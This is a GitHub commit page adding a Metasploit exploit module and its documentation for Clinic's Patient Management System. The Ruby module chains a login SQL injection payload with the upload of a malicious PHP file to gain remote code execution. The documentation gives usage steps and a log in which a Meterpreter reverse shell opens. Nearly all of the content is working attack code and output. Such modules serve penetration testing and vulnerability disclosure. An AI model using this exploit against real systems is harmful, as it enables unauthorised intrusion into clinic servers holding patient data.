Skip to content

Commit 0600de2

Browse files
authored
Merge pull request #20177 from msutovsky-r7/clinic_management_system_sqli2rce
Clinic Patient's Management System SQLi (CVE-2025-3096)
2 parents dc6b03f + 1d6ec73 commit 0600de2

File tree

2 files changed

+265
-0
lines changed

2 files changed

+265
-0
lines changed
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
## Vulnerable Application
2+
Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability
3+
(CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.
4+
5+
## Verification Steps
6+
7+
### Vulnerable Application Installation Setup
8+
1. Install Clinic's Patient Management System on your web server.
9+
- Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)
10+
11+
2. Start `msfconsole` and load the exploit module:
12+
```bash
13+
msfconsole
14+
use exploit/multi/http/clinic_pms_sqli_to_rce
15+
```
16+
17+
3. Set the required options:
18+
```bash
19+
set rport <port>
20+
set rhost <ip>
21+
set targeturi /pms
22+
```
23+
24+
4. Check if the target is vulnerable:
25+
```bash
26+
check
27+
```
28+
29+
If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
30+
```
31+
[+] <IP> The target is vulnerable.
32+
```
33+
34+
5. Set up the listener for the exploit:
35+
```bash
36+
set lport <port>
37+
set lhost <ip>
38+
```
39+
40+
6. Launch the exploit:
41+
```bash
42+
exploit
43+
```
44+
45+
7. If successful, you will receive a PHP Meterpreter shell.
46+
47+
## Options
48+
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
49+
50+
## Scenarios
51+
52+
```bash
53+
msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > exploit
54+
[*] Started reverse TCP handler on 192.168.168.128:4444
55+
[*] Logged using SQL injection..
56+
[*] Malicious file uploaded..
57+
[*] Logged out..
58+
[*] Logged using SQL injection..
59+
[*] Sending stage (40004 bytes) to 192.168.168.146
60+
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:52522) at 2025-05-13 13:33:52 +0200
61+
62+
meterpreter > sysinfo
63+
Computer : ubuntu
64+
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
65+
Meterpreter : php/linux
66+
67+
```
68+
Lines changed: 197 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,197 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
include Msf::Exploit::Remote::HttpClient
9+
include Msf::Exploit::PhpEXE
10+
include Msf::Exploit::FileDropper
11+
# include Msf::Post::File
12+
include Msf::Auxiliary::Report
13+
prepend Msf::Exploit::Remote::AutoCheck
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
20+
'Description' => %q{
21+
This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE.
22+
},
23+
'Author' => [
24+
'msutovsky-r7', # CVE-2025-3096, module developer
25+
'Ashish Kumar' # CVE-2022-2297
26+
],
27+
'License' => MSF_LICENSE,
28+
'Platform' => 'php',
29+
'Arch' => ARCH_PHP,
30+
'Privileged' => false,
31+
'Targets' => [
32+
['Clinic Patient Management System 2.0', {}]
33+
],
34+
'DefaultTarget' => 0,
35+
'References' => [
36+
['CVE', '2022-2297'],
37+
['CVE', '2025-3096'],
38+
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
39+
],
40+
'DisclosureDate' => '2025-01-04',
41+
'Notes' => {
42+
'Stability' => [CRASH_SAFE],
43+
'Reliability' => [REPEATABLE_SESSION],
44+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
45+
}
46+
)
47+
)
48+
49+
register_options([
50+
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms/']),
51+
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true])
52+
])
53+
end
54+
55+
def check
56+
print_status('Checking if target is vulnerable...')
57+
58+
res = send_request_cgi({
59+
'uri' => normalize_uri(target_uri.path),
60+
'method' => 'GET'
61+
})
62+
63+
return Exploit::CheckCode::Unknown('Unexpected response code from server') unless res&.code == 200
64+
return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank?
65+
return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP")
66+
67+
return Exploit::CheckCode::Appears('Clinic PMS detected')
68+
end
69+
70+
def login_sqli
71+
res = send_request_cgi({
72+
'uri' => normalize_uri(target_uri.path, 'index.php'),
73+
'method' => 'POST',
74+
'keep_cookies' => true,
75+
'vars_post' =>
76+
{
77+
user_name: "' or '1'='1' LIMIT 1;--",
78+
password: '',
79+
login: ''
80+
}
81+
})
82+
83+
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
84+
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('location')
85+
86+
fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['location'] == 'dashboard.php'
87+
print_status('Logged using SQL injection..')
88+
end
89+
90+
def upload_payload
91+
username = Rex::Text.rand_text_alphanumeric(8)
92+
password = Rex::Text.rand_text_alphanumeric(8)
93+
filename = Rex::Text.rand_text_alphanumeric(8) + '.php'
94+
95+
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"
96+
97+
data_post = "--#{boundary}\r\n"
98+
data_post << "Content-Disposition: form-data; name=\"hidden_id\"\r\n\r\n"
99+
data_post << "1\r\n"
100+
data_post << "--#{boundary}\r\n"
101+
102+
data_post << "Content-Disposition: form-data; name=\"display_name\"\r\n\r\n"
103+
data_post << "#{username}\r\n"
104+
data_post << "--#{boundary}\r\n"
105+
106+
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
107+
data_post << "#{username}\r\n"
108+
data_post << "--#{boundary}\r\n"
109+
110+
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
111+
data_post << "#{password}\r\n"
112+
data_post << "--#{boundary}\r\n"
113+
114+
data_post << "Content-Disposition: form-data; name=\"profile_picture\"; filename=\"#{filename}\"\r\n"
115+
data_post << "Content-Type: application/x-php\r\n\r\n"
116+
data_post << "#{payload.encoded}\r\n"
117+
data_post << "--#{boundary}\r\n"
118+
119+
data_post << "Content-Disposition: form-data; name=\"save_user\"\r\n\r\n"
120+
data_post << "\r\n"
121+
data_post << "--#{boundary}--\r\n"
122+
123+
res = send_request_cgi({
124+
'uri' => normalize_uri(target_uri.path, 'update_user.php'),
125+
'method' => 'POST',
126+
'keep_cookies' => true,
127+
'ctype' => "multipart/form-data; boundary=#{boundary}",
128+
'vars_get' =>
129+
{
130+
'user_id' => '1'
131+
},
132+
'data' => data_post
133+
})
134+
135+
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
136+
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
137+
138+
fail_with Failure::UnexpectedReply, 'Failed to update user when attempting to exploit' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
139+
print_status('Malicious file uploaded..')
140+
end
141+
142+
def logout
143+
res = send_request_cgi({
144+
'uri' => normalize_uri(target_uri.path + 'logout.php'),
145+
'method' => 'GET'
146+
})
147+
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
148+
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
149+
150+
fail_with Failure::UnexpectedReply, 'The Location header was not equal to \'index.php\' as expected' unless res.headers['Location'] == 'index.php'
151+
print_status('Logged out..')
152+
@cookie_jar.clear
153+
end
154+
155+
def trigger_payload
156+
logout
157+
login_sqli
158+
159+
print_status('Reporting vulnerability')
160+
report_vuln(
161+
host: datastore['RHOSTS'],
162+
name: name,
163+
refs: references,
164+
info: 'The target is vulnerable to CVE-2025-3096.'
165+
)
166+
167+
res = send_request_cgi({
168+
'uri' => normalize_uri(target_uri.path, '/update_user.php'),
169+
'method' => 'GET',
170+
'keep_cookies' => true,
171+
'vars_get' =>
172+
{
173+
'user_id' => '1'
174+
}
175+
})
176+
177+
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 200
178+
fail_with Failure::UnexpectedReply, 'Unexpected content of body' if res.body&.blank?
179+
html_document = res.get_html_document
180+
payload_path = html_document.xpath('//img[@alt="User Image"]/@src')&.text
181+
182+
fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank?
183+
184+
register_file_for_cleanup(File.basename(payload_path)) if datastore['DELETE_FILES']
185+
send_request_cgi({
186+
'uri' => normalize_uri(target_uri.path, payload_path),
187+
'method' => 'GET',
188+
'keep_cookies' => true
189+
})
190+
end
191+
192+
def exploit
193+
login_sqli
194+
upload_payload
195+
trigger_payload
196+
end
197+
end

0 commit comments

Comments
 (0)